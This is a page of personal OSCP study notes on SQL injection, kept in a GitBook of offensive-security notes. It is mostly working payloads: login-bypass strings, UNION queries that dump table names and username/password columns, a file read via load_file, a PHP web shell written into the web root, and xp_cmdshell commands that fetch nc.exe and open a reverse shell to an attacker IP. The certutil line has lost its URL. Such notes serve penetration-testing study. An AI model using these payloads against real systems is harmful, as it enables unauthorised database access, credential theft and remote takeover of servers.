hackervegas001
  • Introduction
  • oscp notes include Active Directory 2023
    • Active Directory
      • Enumeration
        • Traditional Approach
        • Currently Logged on Users
        • Powerview
          • Bypass AMSI
          • Domain User Enum
          • Domain Group Enumeration
          • Domain Computer and Server Enum
          • GPO and OU Enum
          • Domain Shares Enum
          • ACL Enum
        • ADRecon
        • BloodHound
      • Authentication
        • Password Hash Dumping
        • Service Account Attack Kerberoasting Attack
          • using mimikatz
          • using Rubeus
          • Using Impacket
        • AS-REP Roasting
        • Password Guessing
        • SAM for windows password
        • password/hash bruteforcing
      • Lateral Movement
        • Pass the hash
        • OverPass the hash
        • Silver Ticket Attack
        • Pass the hash attack
      • Persistence
        • Golden ticket attack
        • Domain Controller synchronization-Dumping all hashes
      • Misc
        • Login method
        • nt authority\system
    • Windows Priv Esc
      • important links
      • Enumeration
      • checking tools
        • winpeas
        • Windows exploit suggester
        • Sysinternals tools
        • Powerup
      • Escalation Path
        • UAC Bypass
        • Binary hijacking / Insecure file permissions
        • Unquoted Service path
        • kernel exploit
        • Potato attack (SEimpersonation)
          • Juicypotato
          • Printspoofer
          • JuicyPotatoNG
        • DLL/EXE Hijacking
        • Service Binary hijacking
        • Exploit msi file
    • Linux Priv Esc
      • Enumeration
      • Escalation path
        • Cron case
        • Editable /etc/passwd
        • kernel exploit
        • CP SUID
        • aria2c SUID
        • systemctl SUID
    • Commands
      • cut
      • awk
      • sed
    • Tools
      • Netcat
      • Powershell
      • Powercat
      • Nmap
      • nmblookup
      • smbclient
      • enum4linux
      • Nikto
      • Certutil (wget for windows)
      • msfvenom payload for powershell
      • iwr like wget for windows
      • ldapsearch
    • Enumeration
      • DNS Enumeration
      • Port Scanning
      • SMB Enumeration
      • NFS Enumeration
      • SMTP Enumeration
      • SNMP Enumeration
    • Web Applicaton Attacks
      • File Inclusion Vuln
      • sqli
      • misc
      • directory bruteforcing
    • files transfers
      • From Windows
      • To Windows
    • Antivirus Evasion
      • Using script in powershell
      • Using Shellter Tool
      • Veil tool
    • client side attacks
      • Exploiting Microsoft Office
        • Object Linking and Embedding
        • Macro
          • Macro Manually
          • Macro using Minitrue tool
      • Code execution via Windows Library Files
    • Port and Services
      • FTP 21
      • Pop3 110
      • smb 139 445
        • smb enumeration
          • SMB Enum
        • symlink traversal
      • SMTP 25 Enumeration
      • ssh 22
      • ms-sql 1433
      • tftp, udp port 69
      • snmp 161 udp
      • VNC PORT 5801 5901
      • UnrealIRCd IRC service
      • mysql 3306
    • Password Attacks
      • Standard Wordlist
      • Bruteforce Wordlist (Crunch)
      • Network Service Attack
        • Medusa tool
        • RDP attack using Crowbar
        • Hydra
      • Password Cracking
    • Port forwarding and Tunneling
      • Chisel (http Tunneling)
      • Port Forwarding with Rinetd tool
      • ssh Tunneling
        • Local Port Forwarding
        • Remote Port Forwarding
        • Dynamic Port Forwarding
      • Plink for windows
      • Netsh for windows
      • SShuttle
    • Misc
      • Port Scanning through script
      • Tty full interactive shell
      • rdp error
      • powershell ps1 reverse shell
      • updating wordpress cred via mysql
      • wordpress
        • updating wordpress cred via mysql
      • reverse shell via ssh
    • Powershell Empire
      • Listner, Stager and agent
      • Poweshell modules
        • selection
        • Credentials and privesc
        • lateral movement
  • 🖥️Enumeration
    • 🙂:)
      • Enumeration :)
        • FTP
          • Anonymous login
            • Default FTP Client
            • Web Browser
            • Filezilla
          • Insecure ACL (RW)
          • Dictionary Attack
        • SMB
          • SMB Null/Guest Session
            • smbmap
            • smbclient
            • impacket-smbclient
            • nmap
          • Dictionary Based Attack
            • crackmapexec
            • hydra
        • SSH
        • WinRM
        • RDP
        • SMTP
        • MYsql
        • NFS
        • SNMP
    • Exploitation
      • Windows Exploitation
      • Linux Exploitation
    • Buffer Overflow
    • Active Directory
      • Active Directory All Tools And Scripts
      • Active Directory Post Enumeration
      • Active Directory Post Exploitation
    • 🏁Writeups
      • cyberSecLabs
      • Hackthebox
        • Tjnull list
          • lame
          • brainfuck
      • Pg Play | Vulnhub
      • Pg practice
      • TryHackMe
      • To Do
Powered by GitBook
On this page
  1. oscp notes include Active Directory 2023
  2. Web Applicaton Attacks

sqli

PreviousFile Inclusion VulnNextmisc

Last updated 2 years ago

sqli

  • Detection

    add ‘ in parameter

  • Auth Bypass

    `````admin**' or 1=1 LIMIT 1;#**`

    ' or 1=1-- -

    ' or '1'='1

    ‘ or 1=1 --

  • Column Enum

    http://10.11.0.22/debug.php?id=1 order by 1-- ****this will give error when number of coulmn exceed. so change the number to get correct columns

  • Union to get all data

    Suppose columns are 3, below will check which column is display output

    http://10.11.0.22/debug.php?id=1 **union all select 1, 2, 3--**

  • Extract data through union

    Suppose 2 and 3 is displayed. Now this will tell user and version of sql

    http://10.11.0.22/debug.php?id=1 **union all select 1, user(), @@version**

    Get database name

    http://10.11.0.22/debug.php?id=1 **union all select 1, schema_name, 3 from information_schema.schemata**

    Tell table name

    http://10.11.0.22/debug.php?id=1 **union all select 1, table_name, 3 from information_schema.tables** this will give only 1 table to get all use union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’mysql’

    tell column name from users table

    http://10.11.0.22/debug.php?id=1 **union all select 1, 2, column_name from information_schema.columns where table_name='users'**

    Suppose there are 2 column username and password

    http://10.11.0.22/debug.php?id=1 **union all select 1, username, password from users**

    http://10.11.0.22/debug.php?id=1 **union all select 1, username, password from mysql.users**

  • Code execution

    Depending on OS, below will local file output

    http://10.11.0.22/debug.php?id=1 **union all select 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')**

    INTO OUTFILE is used to create malicious file web root

    http://10.11.0.22/debug.php?id=1 **union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'**

    It might give error but file is created. Visit /backdoor.php?cmd=dir to check

  • Reverse shell

    • Database enumeration is not usefull in some cases so do reverse shell

    • Enable xp_cmdshell

      • ' EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

    • upload nc.exe from linux to victim

      • ' EXEC xp_cmdshell 'powershell -c "certutil -urlcache -f C:\Windows\Tasks\nc.exe"'--

    • reverse shell

      • nc -nvlp 4444

      • ' EXEC xp_cmdshell 'powershell -c "C:\Windows\Tasks\nc.exe 192.168.119.143 4444 -e cmd.exe"' --

  • Reference

    • Blind SQLI

  • For oracle injectionl

  • CHeatsheet

http://testphp.vulnweb.com/artists.php?artist=-1
http://192.168.119.143/nc.exe
https://www.hackingarticles.in/manual-sql-injection-exploitation-step-step/
https://linuxhint.com/blind_sql_injection_tutorial/
https://linuxhint.com/blind_sql_injection_tutorial/
https://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.htm
https://book.hacktricks.xyz/pentesting-web/sql-injection
https://pentestmonkey.net/category/cheat-sheet/sql-injection